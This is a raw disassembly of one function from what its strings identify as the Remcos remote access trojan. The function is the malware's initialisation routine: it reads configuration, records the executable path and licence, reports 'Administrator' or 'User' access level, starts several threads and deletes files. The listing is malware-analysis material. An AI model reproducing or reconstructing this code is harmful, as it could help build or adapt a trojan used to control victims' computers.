Function at 0x40d767
Capabilities:
Create thread
Delete file

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, dword [ebp + 8]
sub esp, 0x25c
mov dword [0x471d8c], eax
push ebx
push esi
push edi
call fcn.0041bce3
push 0x104
push 0x471b80
xor edi, edi
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea ecx, [esp + 0x48]
call fcn.0040e168
sub esp, 0x18
mov ecx, esp
push 0x47437c
call fcn.00401fbd
sub esp, 0x18
lea eax, [esp + 0x78]
mov ecx, esp
push eax
call fcn.00401fbd
lea ecx, [esp + 0x60]
call fcn.0041afc3
add esp, 0x30
push eax
call fcn.0040e8bd
lea ecx, [esp + 0x30]
call fcn.00401d8c
push 0x466608
push dword [ebp + 0x10]
call fcn.0043e820
pop ecx
pop ecx
test eax, eax
jne 0x40d835
push ecx
push ecx
push 2
push str.license_code.txt
lea ecx, [esp + 0x70]
call fcn.0040e986
push 0x34
mov ecx, 0x474358
call fcn.00401d64
mov ecx, eax
call fcn.00401e8f
mov edx, eax
lea ecx, [esp + 0x60]
call fcn.0040fcba
lea ecx, [esp + 0x60]
call fcn.0040e937
lea ecx, [esp + 0x60]
call fcn.0040e155
xor esi, esi
inc esi
jmp 0x40dc96
push 3
pop ebx
mov esi, 0x474358
push ebx
mov ecx, esi
call fcn.00401d64
mov ecx, eax
call fcn.00401e8f
push 0x46556c
push 0xe
mov ecx, esi
cmp byte [eax], 0
setne byte [0x471d88]
call fcn.00401d64
push eax
mov edx, str.Software_
lea ecx, [esp + 0x1c]
call fcn.00404cbf
pop ecx
mov edx, eax
lea ecx, [esp + 0x34]
call fcn.00405ce6
pop ecx
push eax
mov ecx, 0x4742f8
call fcn.00401eef
lea ecx, [esp + 0x30]
call fcn.00401eea
lea ecx, [esp + 0x14]
call fcn.00401eea
push 0xe
mov ecx, esi
call fcn.00401d64
push eax
mov ecx, 0x474328
call fcn.00401ebd
push 0x46662c
mov ecx, 0x474394
call fcn.0040541d
push edi
push 0x32
mov ecx, esi
call fcn.00401d64
mov ecx, eax
call fcn.00404bb1
push edi
push 0x33
mov ecx, esi
cmp byte [eax], 0
setne byte [0x471da9]
call fcn.00401d64
mov ecx, eax
call fcn.00404bb1
cmp byte [eax], 0
setne byte [0x471daa]
cmp byte [0x471da9], 0
je 0x40d950
push 0x466630
mov edx, 0x474328
lea ecx, [esp + 0x18]
call fcn.004085b4
pop ecx
push eax
mov ecx, 0x474430
call fcn.00401eef
lea ecx, [esp + 0x14]
call fcn.00401eea
lea eax, [esp + 0x2c]
mov dword [esp + 0x2c], edi
push eax
push 0x466634
mov ecx, 0x4742f8
call fcn.00401e8f
mov edx, eax
call fcn.004124b7
pop ecx
pop ecx
test al, al
jne 0x40e134
push 0xd
mov ecx, esi
mov dword [esp + 0x14], edi
call fcn.00401d64
mov edx, 0x4655b0
mov ecx, eax
call fcn.0040b125
test al, al
je 0x40d9a5
lea eax, [esp + 0x10]
mov ecx, 0x4742f8
push eax
push 0x466638
call fcn.00401e8f
mov edx, eax
call fcn.004124b7
pop ecx
pop ecx
test al, al
je 0x40d9a5
push 0x466638
mov ecx, 0x4742f8
call fcn.00401e8f
mov edx, eax
call fcn.00412902
pop ecx
call fcn.0040bed7
test eax, eax
jne 0x40d9b5
push 2
jmp 0x40dc95
mov eax, dword [0x473b08]
test eax, eax
je 0x40d9c0
call eax
call fcn.0041a463
mov eax, dword [0x473b10]
test eax, eax
je 0x40d9d5
call eax
mov dword [0x4709d0], eax
cmp dword [esp + 0x10], edi
jne 0x40da18
call fcn.0040697b
test eax, eax
je 0x40d9ee
call fcn.0040699d
call fcn.004064d0
push 0x2e
mov ecx, esi
call fcn.00401d64
mov ecx, eax
call fcn.00401e8f
cmp byte [eax], 0
je 0x40da18
cmp dword [0x473b10], edi
je 0x40da18
cmp dword [0x4709d0], edi
jne 0x40da18
call fcn.004064d0
push 0x27
mov ecx, esi
call fcn.00401d64
mov ecx, eax
call fcn.00401e8f
cmp byte [eax], 0
je 0x40da32
call fcn.004069ba
push 0xe
mov ecx, esi
call fcn.00401d64
mov edx, eax
lea ecx, [esp + 0x14]
call fcn.0041ae08
push eax
mov ecx, 0x4742c8
call fcn.00401e18
lea ecx, [esp + 0x14]
call fcn.00401e13
push 4
mov ecx, esi
call fcn.00401d64
mov ecx, eax
call fcn.00401e8f
push 5
mov ecx, esi
cmp byte [eax], 0
setne byte [0x471d89]
call fcn.00401d64
mov ecx, eax
call fcn.00401e8f
push 8
mov ecx, esi
cmp byte [eax], 0
setne byte [0x471b76]
call fcn.00401d64
mov ecx, eax
call fcn.00401e8f
push ebx
mov ecx, esi
cmp byte [eax], 0
setne byte [0x471b77]
call fcn.00401d64
mov ecx, eax
call fcn.00401e8f
cmp byte [eax], 0
je 0x40db22
push 0x30
mov ecx, esi
call fcn.00401d64
mov ecx, eax
call fcn.00401e8f
push eax
call fcn.0043a611
pop ecx
test eax, eax
je 0x40db22
push 9
mov ecx, esi
call fcn.00401d64
mov ecx, eax
call fcn.00401e8f
push 0x30
mov ecx, 0x474358
mov esi, eax
call fcn.00401d64
mov ecx, eax
call fcn.00401e8f
mov dl, byte [esi]
lea ecx, [esp + 0x14]
push eax
call fcn.0040c89e
pop ecx
push eax
mov ecx, 0x474310
call fcn.00401e18
lea ecx, [esp + 0x14]
call fcn.00401e13
mov esi, 0x474358
cmp dword [esp + 0x10], edi
jne 0x40dcaa
cmp byte [0x471d88], 0
je 0x40dbb1
push 0x1e
mov ecx, esi
call fcn.00401d64
mov ecx, eax
call fcn.00401e8f
push 0xc
mov ecx, esi
mov bh, byte [eax]
call fcn.00401d64
mov ecx, eax
call fcn.00401e8f
push 9
mov ecx, esi
mov bl, byte [eax]
call fcn.00401d64
mov ecx, eax
call fcn.00401e8f
test bh, bh
mov esi, eax
setne cl
test bl, bl
movzx ecx, cl
mov ebx, 0x474358
push ecx
setne cl
movzx ecx, cl
push ecx
push 0xa
mov ecx, ebx
call fcn.00401d64
mov ecx, eax
call fcn.00401e8f
push eax
push 0x30
mov ecx, ebx
call fcn.00401d64
mov ecx, eax
call fcn.00401e8f
mov cl, byte [esi]
mov edx, eax
call fcn.0040bc67
add esp, 0xc
jmp 0x40dbc0
push 0x471b80
mov ecx, 0x4742e0
call fcn.004082d7
mov ecx, 0x4742e0
call fcn.004022f8
push 2
xor ebx, ebx
inc eax
pop ecx
mul ecx
seto bl
neg ebx
or ebx, eax
push ebx
call fcn.004338c8
mov esi, eax
pop ecx
test esi, esi
je 0x40dbf3
push ebx
push edi
push esi
call fcn.00436050
add esp, 0xc
jmp 0x40dbf5
mov esi, edi
mov ecx, 0x4742e0
call fcn.00401e07
push eax
push esi
call fcn.0043e349
pop ecx
mov ebx, 0x474340
mov ecx, ebx
call fcn.004022f8
push eax
mov ecx, ebx
call fcn.00401e8f
push eax
mov ecx, 0x4742e0
call fcn.004022f8
mov ecx, 0x4742f8
lea eax, [eax*2 + 2]
push eax
push esi
push str.exepath
call fcn.00401e8f
mov edx, eax
call fcn.004128a2
push esi
call fcn.004338d1
add esp, 0x1c
mov ebx, 0x474358
mov ecx, ebx
push 0xd
call fcn.00401d64
mov edx, 0x4655b0
mov ecx, eax
call fcn.0040b125
test al, al
je 0x40dd06
sub esp, 0x18
mov ecx, ebx
mov esi, esp
push 0xd
call fcn.00401d64
mov edx, eax
mov ecx, esi
call fcn.0041ae08
call fcn.0040e219
add esp, 0x18
cmp al, 1
jne 0x40dd06
push 3
pop esi
lea ecx, [esp + 0x48]
call fcn.00401eea
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
mov esi, 0x208
lea eax, [esp + 0x60]
push esi
push edi
push eax
call fcn.00436050
add esp, 0xc
mov ebx, 0x474340
mov ecx, ebx
call fcn.004022f8
push eax
mov ecx, ebx
call fcn.00401e8f
push eax
push esi
lea eax, [esp + 0x6c]
mov ecx, 0x4742f8
push eax
push str.exepath
call fcn.00401e8f
mov edx, eax
call fcn.0041265d
add esp, 0x14
lea eax, [esp + 0x60]
mov ecx, 0x4742e0
push eax
call fcn.004082d7
mov ebx, 0x474358
push 1
sub esp, 0x18
mov ecx, ebx
mov esi, esp
push 0x34
call fcn.00401d64
mov ecx, eax
call fcn.00401e8f
push eax
mov ecx, esi
call fcn.00401f66
push str.licence
mov ecx, 0x4742f8
call fcn.00401e8f
mov edx, eax
call fcn.004126d2
add esp, 0x20
mov ecx, ebx
push 0x28
call fcn.00401d64
mov ecx, eax
call fcn.00401e8f
push eax
call fcn.0043a5e7
mov byte [0x471d8a], al
pop ecx
cmp al, 2
jne 0x40dd79
mov cl, 1
call fcn.0041beb0
push edi
push edi
push edi
push 0x41c96f
push edi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
call edi
jmp 0x40dd87
cmp al, 1
jne 0x40dd81
xor cl, cl
jmp 0x40dd60
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
sub esp, 0x18
mov ecx, esp
push str.Remcos_Agent_initialized
call fcn.00401f66
sub esp, 0x18
mov ecx, esp
push 0x465454
call fcn.00401f66
call fcn.0041a686
add esp, 0x30
mov ecx, ebx
push 0xb
call fcn.00401d64
mov ecx, eax
call fcn.00401e8f
push 0x10
mov ecx, 0x474358
mov bl, byte [eax]
call fcn.00401d64
mov ecx, eax
call fcn.00401e8f
test bl, bl
mov esi, eax
mov ebx, 0x474358
setne cl
movzx ecx, cl
push ecx
push 7
mov ecx, ebx
call fcn.00401d64
mov ecx, eax
call fcn.00401e8f
push eax
call fcn.0043a5e7
pop ecx
push eax
push 0x11
mov ecx, ebx
call fcn.00401d64
mov ecx, eax
call fcn.00401e8f
push eax
push 0x31
mov ecx, ebx
call fcn.00401d64
mov ecx, eax
call fcn.00401e8f
push eax
movzx eax, byte [esi]
mov ecx, ebx
push eax
push 0x2a
call fcn.00401d64
mov ecx, eax
call fcn.00401e8f
push eax
push 0xf
mov ecx, ebx
call fcn.00401d64
mov ecx, eax
call fcn.00401e8f
push eax
call dword [sym.imp.SHLWAPI.dll_StrToIntA]
push eax
mov ecx, 0x4740f8
call fcn.00409517
push 0x14
mov ecx, ebx
call fcn.00401d64
mov ecx, eax
call fcn.00401e8f
cmp byte [eax], 1
jne 0x40dea1
push 2
pop eax
push eax
call fcn.0043360d
mov esi, eax
xor ebx, ebx
pop ecx
push 0x35
mov ecx, 0x474358
mov byte [esi], bl
call fcn.00401d64
mov ecx, eax
call fcn.00401e8f
push ebx
push ebx
push esi
cmp byte [eax], bl
push 0x419128
push ebx
setne cl
push ebx
mov byte [esi + 1], cl
call edi
jmp 0x40dea3
xor ebx, ebx
mov esi, 0x474358
push 0x16
mov ecx, esi
call fcn.00401d64
mov ecx, eax
call fcn.00401e8f
cmp byte [eax], 1
jne 0x40def9
push 2
pop eax
push eax
call fcn.0043360d
mov esi, eax
pop ecx
push 0x35
mov ecx, 0x474358
mov byte [esi], 1
call fcn.00401d64
mov ecx, eax
call fcn.00401e8f
push ebx
push ebx
push esi
cmp byte [eax], 0
push 0x419128
push ebx
setne cl
push ebx
mov byte [esi + 1], cl
call edi
mov esi, 0x474358
push 0x23
mov ecx, esi
call fcn.00401d64
mov ecx, eax
call fcn.00401e8f
cmp byte [eax], 1
jne 0x40df6c
push 0x25
mov ecx, esi
mov byte [0x471abd], 1
call fcn.00401d64
mov ecx, eax
call fcn.00401e8f
push 0x26
mov ecx, 0x474358
mov esi, eax
call fcn.00401d64
mov ecx, eax
call fcn.00401e8f
mov dl, byte [esi]
lea ecx, [esp + 0x14]
push eax
call fcn.0040c854
pop ecx
push eax
mov ecx, 0x473d60
call fcn.00401e18
lea ecx, [esp + 0x14]
call fcn.00401e13
push ebx
push ebx
push ebx
push 0x40196b
push ebx
push ebx
call edi
mov esi, 0x474358
push 0x2b
mov ecx, esi
call fcn.00401d64
mov ecx, eax
call fcn.00401e8f
cmp byte [eax], 1
jne 0x40dfba
push 0x2c
mov ecx, esi
call fcn.00401d64
mov ecx, eax
call fcn.00401e8f
push 0x2d
mov ecx, 0x474358
mov esi, eax
call fcn.00401d64
mov ecx, eax
call fcn.00401e8f
push eax
call fcn.0043a5e7
cmp byte [esi], 0
mov edx, eax
pop ecx
setne cl
call fcn.0040b95c
lea ecx, [esp + 0x14]
call fcn.0041a7a2
push eax
mov ecx, 0x474364
call fcn.00401e18
lea ecx, [esp + 0x14]
call fcn.00401e13
mov eax, dword [0x473b0c]
test eax, eax
je 0x40dfe3
push ebx
call eax
push ebx
push ebx
push ebx
push 0x40e54f
push ebx
push ebx
call edi
cmp byte [0x471da9], 0
je 0x40e004
push ebx
push ebx
push ebx
push fcn.00410f36
push ebx
push ebx
call edi
cmp byte [0x471daa], 0
je 0x40e019
push ebx
push ebx
push ebx
push 0x411524
push ebx
push ebx
call edi
mov eax, dword [0x4709d0]
sub eax, ebx
je 0x40e033
sub eax, 1
jne 0x40e073
sub esp, 0x18
mov esi, esp
push str.Administrator
jmp 0x40e03d
sub esp, 0x18
mov esi, esp
push str.User
lea ecx, [esp + 0x30]
call fcn.00401f66
push eax
mov edx, str.Access_Level:
mov ecx, esi
call fcn.00404c9e
sub esp, 0x14
mov ecx, esp
push 0x465454
call fcn.00401f66
call fcn.0041a686
add esp, 0x30
lea ecx, [esp + 0x14]
call fcn.00401eea
mov edi, 0x4742f8
push 0x466688
mov ecx, edi
call fcn.00401e8f
mov edx, eax
call fcn.0041246e
pop ecx
test al, al
je 0x40e12a
push 0x4661d4
mov edx, edi
lea ecx, [esp + 0x18]
call fcn.0041ae08
mov ecx, eax
call fcn.00401e07
push eax
mov edx, connect
lea ecx, [esp + 0x38]
call fcn.00412584
pop ecx
pop ecx
lea ecx, [esp + 0x14]
call fcn.00401e13
lea ecx, [esp + 0x30]
call fcn.00401e07
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp 0x40e0ed
cmp ebx, 0xa
jge 0x40e0f4
push 0xa
inc ebx
call dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [esp + 0x30]
call fcn.00401e07
push eax
call esi
test eax, eax
je 0x40e0d6
push 0x4661d4
mov edx, edi
lea ecx, [esp + 0x18]
call fcn.0041ae08
mov ecx, eax
call fcn.00401e07
mov edx, eax
mov ecx, connect
call fcn.0041297a
pop ecx
lea ecx, [esp + 0x14]
call fcn.00401e13
lea ecx, [esp + 0x30]
call fcn.00401e13
call fcn.0040cbac
call fcn.00413fd4
push 0x466634
mov ecx, 0x4742f8
call fcn.00401e8f
mov edx, eax
call fcn.00412902
pop ecx
mov ecx, dword [esp + 0x2c]
call fcn.004112b5
int3